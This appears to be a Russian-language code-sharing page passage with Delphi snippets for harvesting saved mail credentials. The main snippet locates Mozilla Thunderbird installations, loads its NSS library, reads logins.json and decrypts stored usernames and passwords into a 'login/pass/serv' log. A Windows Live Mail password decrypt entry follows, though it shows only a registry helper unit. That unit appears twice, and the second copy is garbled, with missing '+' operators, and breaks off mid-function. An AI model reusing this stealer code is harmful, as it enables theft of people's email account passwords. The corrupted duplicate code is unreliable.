Pars(T_, ForS, _T: String): String; Var A, B: Integer; Begin Result := ''; If (T_ = '') Or (ForS = '') Or (_T = '') Then Exit; A := Pos(T_, ForS); If A = 0 Then Exit Else A := A + Length(T_); ForS := Copy(ForS, A, Length(ForS) - A + 1); B := Pos(_T, ForS); If b > 0 Then Result := Copy(ForS, 1, B - 1); End; Function ReadFile(Path: String): String; Var F : TextFile; S : String; Begin Try AssignFile(F, Path); Reset(F); While Not EOF(F) Do Begin Readln(F, S); Result := Result + S; End; Except End; S := ''; CloseFile(F); End; Function ParseMozJSON(J: String): String; Var Data, It, Ress: String; Begin Data := ReadFile(J); While Pos(',"hostname":"', Data)<> 0 Do Begin It := Pars(',"hostname":"', Data, 'timesUsed":'); Ress := Ress + Copy(It, 1, Pos('","', It) - 1); Delete(It, 0, Pos('encryptedUsername":"', It)); Ress := Ress + '<|>' + Pars('encryptedUsername":"', It, '","'); Delete(It, 0, Pos('encryptedPassword":"', It)); Ress := Ress + '<|>' + Pars('encryptedPassword":"', It, '","') + #13#10; Delete(Data, 1, Pos('timesUsed":', Data)); End; Result := Ress; End; Procedure CheckThunderbirdPath(ThunderbirdPath: String); Type TSECItemTB = Packed record SECItemTypeTB: Dword; SECItemDataTB: PChar; SECItemLenTB: Dword; End; PSECItemTB = ^TSECItemTB; Var NSSModule, hToken : THandle; NSS_Init : Function(ConfigDir: PChar): Dword; Cdecl; NSSBase64_DecodeBuffer : Function(ArenaOpt: Pointer; OutItemOpt: PSECItemTB; InStr: PChar; InLen: Dword): Dword; Cdecl; PK11_GetInternalKeySlot : Function: Pointer; Cdecl; PK11_Authenticate : Function(Slot: Pointer; LoadCerts: Boolean; Wincx: Pointer): Dword; Cdecl; PK11SDR_Decrypt : Function(Data: PSECItemTB; Result: PSECItemTB; Cx: Pointer): Dword; Cdecl; NSS_Shutdown : Procedure; Cdecl; PK11_FreeSlot : Procedure(Slot: Pointer); Cdecl; ProfilePath, MainProfile : Array [0..Max_Path] Of Char; ProfilePathLen : Dword; EncryptedSECItem, DecryptedSECItem : TSECItemTB; KeySlot : Pointer; UserName, Password, Buffer, HBuffer, U, L, P : String; A : Cardinal; fa : _WIN32_FIND_DATAA; Begin If ThunderbirdPath = '' Then Exit; If FileExists(ThunderbirdPath + 'nss3.dll') Then Begin SetCurrentDirectory(PChar(ThunderbirdPath)); NSSModule := LoadLibrary(PChar(ThunderbirdPath + 'nss3.dll')); SetCurrentDirectory(PChar(ExtractFilePath(ParamStr(0)))); End Else Exit; If (NSSModule <> 0) Then Begin @NSS_Init := GetProcAddress(NSSModule, PChar('NSS_Init')); @NSSBase64_DecodeBuffer := GetProcAddress(NSSModule, PChar('NSSBase64_DecodeBuffer')); @PK11_GetInternalKeySlot := GetProcAddress(NSSModule, PChar('PK11_GetInternalKeySlot')); @PK11_Authenticate := GetProcAddress(NSSModule, PChar('PK11_Authenticate')); @PK11SDR_Decrypt := GetProcAddress(NSSModule, PChar('PK11SDR_Decrypt')); @NSS_Shutdown := GetProcAddress(NSSModule, PChar('NSS_Shutdown')); @PK11_FreeSlot := GetProcAddress(NSSModule, PChar('PK11_FreeSlot')); OpenProcessToken(GetCurrentProcess, TOKEN_QUERY, hToken); End; ProfilePathLen := Max_Path; ZeroMemory(@ProfilePath, Max_Path); GetEnvironmentVariable('APPDATA', ProfilePath, ProfilePathLen); A := FindFirstFile(PansiChar(ProfilePath + '\Thunderbird\Profiles\' + PChar('\*.*')), fa); While FindNextFile(A, fa) Do ; If GetFileAttributes(PChar(ProfilePath + '\Thunderbird\Profiles\' + fa.cFileName + '\logins.json')) <> DWORD($FFFFFFFF) Then Begin MainProfile := ''; lstrcat(MainProfile, PChar('Profiles\' + fa.cFileName)); If Not DirectoryExists(ProfilePath + '\Thunderbird\' + MainProfile) Then Exit; If NSS_Init(PChar(ProfilePath + '\Thunderbird\' + MainProfile)) = 0 Then Begin KeySlot := PK11_GetInternalKeySlot; If KeySlot <> Nil Then Begin If PK11_Authenticate(KeySlot, True, Nil) = 0 Then Begin HBuffer := ParseMozJSON(PChar(ProfilePath + '\Thunderbird\Profiles\' + fa.cFileName + '\logins.json')); While Pos(#13#10, HBuffer) <> 0 Do Begin Buffer := Copy(HBuffer, 0, Pos(#13#10, HBuffer)); Delete(HBuffer, 1, Pos(#13#10, HBuffer) + 1); ZeroMemory(@EncryptedSECItem, SizeOf(EncryptedSECItem)); ZeroMemory(@DecryptedSECItem, SizeOf(DecryptedSECItem)); U := Splitter(Buffer, '<|>', 0); UserName := Splitter(Buffer, '<|>', 1); Password := Splitter(Buffer, '<|>', 2); NSSBase64_DecodeBuffer(Nil, @EncryptedSECItem, PChar(UserName), Length(UserName)); PK11SDR_Decrypt(@EncryptedSECItem, @DecryptedSECItem, Nil); L := Copy(DecryptedSECItem.SECItemDataTB, 1, DecryptedSECItem.SECItemLenTB); ZeroMemory(@EncryptedSECItem, SizeOf(EncryptedSECItem)); ZeroMemory(@DecryptedSECItem, SizeOf(DecryptedSECItem)); NSSBase64_DecodeBuffer(Nil, @EncryptedSECItem, PChar(Password), Length(Password)); PK11SDR_Decrypt(@EncryptedSECItem, @DecryptedSECItem, Nil); P := Copy(DecryptedSECItem.SECItemDataTB, 1, DecryptedSECItem.SECItemLenTB); TB_Add_To_Array(U, L, P, 'eml'); End; End; PK11_FreeSlot(KeySlot); End; NSS_Shutdown; End; End; //FreeLibrary(NSSModule); End; Function GetProgramFilesPath: String; Begin RegGetString(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir', Result); Result := Result + '\'; End; Function GetProgramFilesPathAlt: String; Begin RegGetString(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir (x86)', Result); Result := Result + '\'; End; Procedure FindTBMUI; Var hkHandle : HKEY; Len : DWORD; I, Err : LongInt; S : Array [0..Max_Path] Of Char; Path : String; Begin I := 0; If RegOpenKeyEx(HKEY_CLASSES_ROOT, 'Local Settings\Software\Microsoft\Windows\Shell\MuiCache', 0, KEY_ALL_ACCESS, hkHandle) = ERROR_SUCCESS Then Repeat Len := MAX_PATH; Err := RegEnumValue(hkHandle, I, S, Len, Nil, Nil, Nil, Nil); If Pos('thunderbird.exe', LowerCase(S)) > 0 Then Begin Path := ExtractFileDir(S) + '\'; CheckThunderbirdPath(Path); End; Inc(I); Until Err <> Error_success; RegCloseKey(hkHandle); End; Procedure GetThunderbirdPasswords; Begin CheckThunderbirdPath(GetThunderbirdPath); CheckThunderbirdPath(GetProgramFilesPath + 'Mozilla Thunderbird\'); CheckThunderbirdPath(GetProgramFilesPathAlt + 'Mozilla Thunderbird\'); FindTBMUI; ThunderbirdResult := True; End; End. unit MiniReg64; Interface Uses Windows; Function RegSetString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetRzString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetRz2String(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetMultiString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetExpandString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetDWORD(RootKey: HKEY; Name: String; Value: Cardinal): Boolean; Function RegSetBinary(RootKey: HKEY; Name: String; Value: Array of Byte): Boolean; Function RegGetString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetRZString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetMultiString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetExpandString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetDWORD(RootKey: HKEY; Name: String; Var Value: Cardinal): Boolean; Function RegGetBinary(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegValueExists(RootKey: HKEY; Name: String): Boolean; Function RegKeyExists(RootKey: HKEY; Name: String): Boolean; Function RegDelValue(RootKey: HKEY; Name: String): Boolean; Function RegDelValueRZ(RootKey: HKEY; Name: String): Boolean; Function RegDelKey(RootKey: HKEY; Name: String): Boolean; Implementation Const KEY_WOW64_64KEY = $0100; Function LastPos(Needle: Char; Haystack: String): Integer; Begin for Result := Length(Haystack) DownTo 1 Do If Haystack[Result] = Needle Then Break; End; Function RegSetValue(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; Dispo : DWORD; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegCreateKeyEx(RootKey, PChar(SubKey), 0, Nil, REG_OPTION_NON_VOLATILE, KEY_WRITE Or KEY_WOW64_64KEY, Nil, hTemp, @dispo) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); Result := (RegSetValueEx(HTemp, PChar(SubKey), 0, ValType, PVal, ValSize) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegSetRZValue(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; Dispo : DWORD; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegCreateKeyEx(RootKey, PChar(SubKey), 0, Nil, REG_OPTION_NON_VOLATILE, KEY_WRITE Or KEY_WOW64_64KEY, Nil, hTemp, @dispo) = ERROR_SUCCESS Then Begin SubKey := Copy(Name + '\' , N + 1, Length(Name) - N); Result := (RegSetValueEx(HTemp, PChar(SubKey + '\'), 0, ValType, PVal, ValSize) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; function RegSetRZ2Value(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; Dispo : DWORD; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegCreateKeyEx(RootKey, PChar(SubKey), 0, Nil, REG_OPTION_NON_VOLATILE, KEY_WRITE Or KEY_WOW64_64KEY, Nil, hTemp, @dispo) = ERROR_SUCCESS Then Begin Result := (RegSetValueEx(hTemp, PChar(ParamStr(0)), 0, ValType, PVal, ValSize) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegGetValue(RootKey: HKEY; Name: String; ValType: Cardinal; Var PVal: Pointer; Var ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; MyValType : DWORD; hTemp : HKEY; Buf : Pointer; BufSize : Cardinal; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ Or KEY_WOW64_64KEY, hTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); If RegQueryValueEx(hTemp, PChar(SubKey), Nil, @MyValType, Nil, @BufSize) = ERROR_SUCCESS Then Begin GetMem(Buf, BufSize); if RegQueryValueEx(hTemp, PChar(SubKey), Nil, @MyValType, Buf, @BufSize) = ERROR_SUCCESS Then Begin If ValType = MyValType Then Begin PVal := Buf; ValSize := BufSize; Result := True; End Else FreeMem(Buf); End Else FreeMem(Buf); End; RegCloseKey(hTemp); End; End; End; Function RegGetRZValue(RootKey: HKEY; Name: String; ValType: Cardinal; Var PVal: Pointer; Var ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; MyValType : DWORD; hTemp : HKEY; Buf : Pointer; BufSize : Cardinal; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); If RegQueryValueEx(HTemp, PChar(SubKey), Nil, @MyValType, Nil, @BufSize) = ERROR_SUCCESS Then Begin GetMem(Buf, BufSize); SubKey := SubKey + '\'; If RegQueryValueEx(hTemp, PChar(SubKey), Nil, @MyValType, Buf, @BufSize) = ERROR_SUCCESS Then Begin If ValType = MyValType Then Begin PVal := Buf; ValSize := BufSize; Result := True; End Else FreeMem(Buf); End Else FreeMem(Buf); End; RegCloseKey(hTemp); End; End; End; Function RegSetString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value) + 1); End; Function RegSetRzString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetRzValue(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value) + 1); End; Function RegSetRz2String(RootKey: HKEY; Name: String; Value: String): boolean; Begin Result := RegSetRz2Value(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value) + 1); End; Function RegSetMultiString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_MULTI_SZ, PChar(Value + #0#0), Length(Value) + 2); End; Function RegSetExpandString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_EXPAND_SZ, PChar(Value + #0#0), Length(Value) + 1); End; Function RegSetDword(RootKey: HKEY; Name: String; Value: Cardinal): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_DWORD, @Value, SizeOf(Cardinal)); End; Function RegSetBinary(RootKey: HKEY; Name: String; Value: Array of Byte): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_BINARY, @Value[Low(Value)], length(Value)); End; Function RegGetString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetRZString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetRzValue(RootKey, Name, REG_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetMultiString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_MULTI_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetExpandString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_EXPAND_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetDWORD(RootKey: HKEY; Name: String; Var Value: Cardinal): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_DWORD, Buf, BufSize) Then Begin CopyMemory(@Value, Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetBinary(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_BINARY, Buf, BufSize) Then Begin SetLength(Value, BufSize); CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegValueExists(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, n - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ or KEY_WOW64_64KEY, hTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); Result := (RegQueryValueEx(HTemp, PChar(SubKey), Nil, Nil, Nil, Nil) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegKeyExists(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, n - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ Or KEY_WOW64_64KEY, hTemp) = ERROR_SUCCESS Then Begin Result := True; RegCloseKey(hTemp); End; End; End; Function RegDelValue(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); Result := (RegDeleteValue(HTemp, PChar(SubKey)) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegDelValueRZ(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N) + '\'; Result := (RegDeleteValue(HTemp, PChar(SubKey)) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegDelKey(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); Result := (RegDeleteKey(HTemp, PChar(SubKey)) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; End. Использование: Procedure TBReadArray; Var I: Integer; Begin For I := 1 To TB_ArNum Do Begin If I = 1 Then Log := Log + 'Thunderbird (' + IntToStr(TB_ArNum) + ' items)' + Cl + Cl; Log := Log + Cl4 + 'login: ' + Cl3 + TB_Log_Ar[I] + Cl + Cl4 + 'pass: ' + Cl3 + TB_Pwd_Ar[I] + Cl + Cl4 + 'serv: ' + Cl3 + TB_Srv_Ar[I] + Cl + Cl4 + 'flags: ' + Cl3 + TB_Flg_Ar[I] + Cl2; End; End;
  5. [Delphi] Microsoft Live Mail (OE) password decrypt

    unit MiniReg64; Interface Uses Windows; Function RegSetString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetRzString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetRz2String(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetMultiString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetExpandString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetDWORD(RootKey: HKEY; Name: String; Value: Cardinal): Boolean; Function RegSetBinary(RootKey: HKEY; Name: String; Value: Array of Byte): Boolean; Function RegGetString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetRZString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetMultiString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetExpandString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetDWORD(RootKey: HKEY; Name: String; Var Value: Cardinal): Boolean; Function RegGetBinary(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegValueExists(RootKey: HKEY; Name: String): Boolean; Function RegKeyExists(RootKey: HKEY; Name: String): Boolean; Function RegDelValue(RootKey: HKEY; Name: String): Boolean; Function RegDelValueRZ(RootKey: HKEY; Name: String): Boolean; Function RegDelKey(RootKey: HKEY; Name: String): Boolean; Implementation Const KEY_WOW64_64KEY = $0100; Function LastPos(Needle: Char; Haystack: String): Integer; Begin for Result := Length(Haystack) DownTo 1 Do If Haystack[Result] = Needle Then Break; End; Function RegSetValue(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; Dispo : DWORD; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegCreateKeyEx(RootKey, PChar(SubKey), 0, Nil, REG_OPTION_NON_VOLATILE, KEY_WRITE Or KEY_WOW64_64KEY, Nil, hTemp, @dispo) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N 1, Length(Name) - N); Result := (RegSetValueEx(HTemp, PChar(SubKey), 0, ValType, PVal, ValSize) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegSetRZValue(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; Dispo : DWORD; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegCreateKeyEx(RootKey, PChar(SubKey), 0, Nil, REG_OPTION_NON_VOLATILE, KEY_WRITE Or KEY_WOW64_64KEY, Nil, hTemp, @dispo) = ERROR_SUCCESS Then Begin SubKey := Copy(Name '\' , N 1, Length(Name) - N); Result := (RegSetValueEx(HTemp, PChar(SubKey '\'), 0, ValType, PVal, ValSize) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; function RegSetRZ2Value(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; Dispo : DWORD; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegCreateKeyEx(RootKey, PChar(SubKey), 0, Nil, REG_OPTION_NON_VOLATILE, KEY_WRITE Or KEY_WOW64_64KEY, Nil, hTemp, @dispo) = ERROR_SUCCESS Then Begin Result := (RegSetValueEx(hTemp, PChar(ParamStr(0)), 0, ValType, PVal, ValSize) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegGetValue(RootKey: HKEY; Name: String; ValType: Cardinal; Var PVal: Pointer; Var ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; MyValType : DWORD; hTemp : HKEY; Buf : Pointer; BufSize : Cardinal; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ Or KEY_WOW64_64KEY, hTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N 1, Length(Name) - N); If RegQueryValueEx(hTemp, PChar(SubKey), Nil, @MyValType, Nil, @BufSize) = ERROR_SUCCESS Then Begin GetMem(Buf, BufSize); if RegQueryValueEx(hTemp, PChar(SubKey), Nil, @MyValType, Buf, @BufSize) = ERROR_SUCCESS Then Begin If ValType = MyValType Then Begin PVal := Buf; ValSize := BufSize; Result := True; End Else FreeMem(Buf); End Else FreeMem(Buf); End; RegCloseKey(hTemp); End; End; End; Function RegGetRZValue(RootKey: HKEY; Name: String; ValType: Cardinal; Var PVal: Pointer; Var ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; MyValType : DWORD; hTemp : HKEY; Buf : Pointer; BufSize : Cardinal; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N 1, Length(Name) - N); If RegQueryValueEx(HTemp, PChar(SubKey), Nil, @MyValType, Nil, @BufSize) = ERROR_SUCCESS Then Begin GetMem(Buf, BufSize); SubKey := SubKey '\'; If RegQueryValueEx(hTemp, PChar(SubKey), Nil, @MyValType, Buf, @BufSize) = ERROR_SUCCESS Then Begin If ValType = MyValType Then Begin PVal := Buf; ValSize := BufSize; Result := True; End Else FreeMem(Buf); End Else FreeMem(Buf); End; RegCloseKey(hTemp); End; End; End; Function RegSetString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_SZ, PChar(Value #0), Length(Value) 1); End; Function RegSetRzString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetRzValue(RootKey, Name, REG_SZ, PChar(Value #0), Length(Value) 1); End; Function RegSetRz2String(RootKey: HKEY; Name: String; Value: String): boolean; Begin Result := RegSetRz2Value(RootKey, Name, REG_SZ, PChar(Value #0), Length(Value) 1); End; Function RegSetMultiString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_MULTI_SZ, PChar(Value #0#0), Length(Value) 2); End; Function RegSetExpandString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_EXPAND_SZ, PChar(Value #0#0), Length(Value) 1); End; Function RegSetDword(RootKey: HKEY; Name: String; Value: Cardinal): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_DWORD, @Value, SizeOf(Cardinal)); End; Function RegSetBinary(RootKey: HKEY; Name: String; Value: Array of Byte): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_BINARY, @Value[Low(Value)], length(Value)); End; Function RegGetString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetRZString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetRzValue(RootKey, Name, REG_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetMultiString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_MULTI_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetExpandString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_EXPAND_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetDWORD(RootKey: HKEY; Name: String; Var Value: Cardinal): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_DWORD, Buf, BufSize) Then Begin CopyMemory(@Value, Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetBinary(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_BINARY, Buf, BufSize) Then Begin SetLength(Value, BufSize); CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegValueExists(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, n - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ or KEY_WOW64_64KEY, hTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N 1, Length(Name) - N); Result := (RegQueryValueEx(HTemp, PChar(SubKey), Nil, Nil, Nil, Nil) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegKeyExists(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, n - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ Or KEY_WOW64_64KEY, hTemp) = ERROR_SUCCESS Then Begin Result := True; RegCloseKey(hTemp); End; End; End; Function RegDelValue(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N 1, Length(Name) - N); Result := (RegDeleteValue(HTemp, PChar(SubKey)) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegDelValueRZ(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N 1, Length(Name) - N) '\'; Result := (RegDeleteValue(HTemp, PChar(SubKey)) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegDelKey(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, 